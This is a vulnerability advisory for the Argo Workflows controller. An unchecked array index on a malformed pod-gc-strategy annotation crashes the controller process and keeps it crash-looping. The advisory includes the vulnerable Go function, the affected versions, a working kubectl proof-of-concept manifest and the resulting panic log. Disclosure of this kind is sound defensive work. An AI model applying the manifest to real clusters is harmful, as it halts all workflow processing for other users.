Summary

An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.

Details

podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:

go func podGCFromPod(pod apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} }

If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.

The code was introduced in #14129 and affects versions:

- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier

PoC

Apply this workflow to a cluster running the Argo Workflows controller:

bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF

Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:

panic: runtime error: index out of range [1] with length 1

goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246

Recovery requires deleting the poisoned workflow:

kubectl delete workflow -n argo crash-podgc

Impact

Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.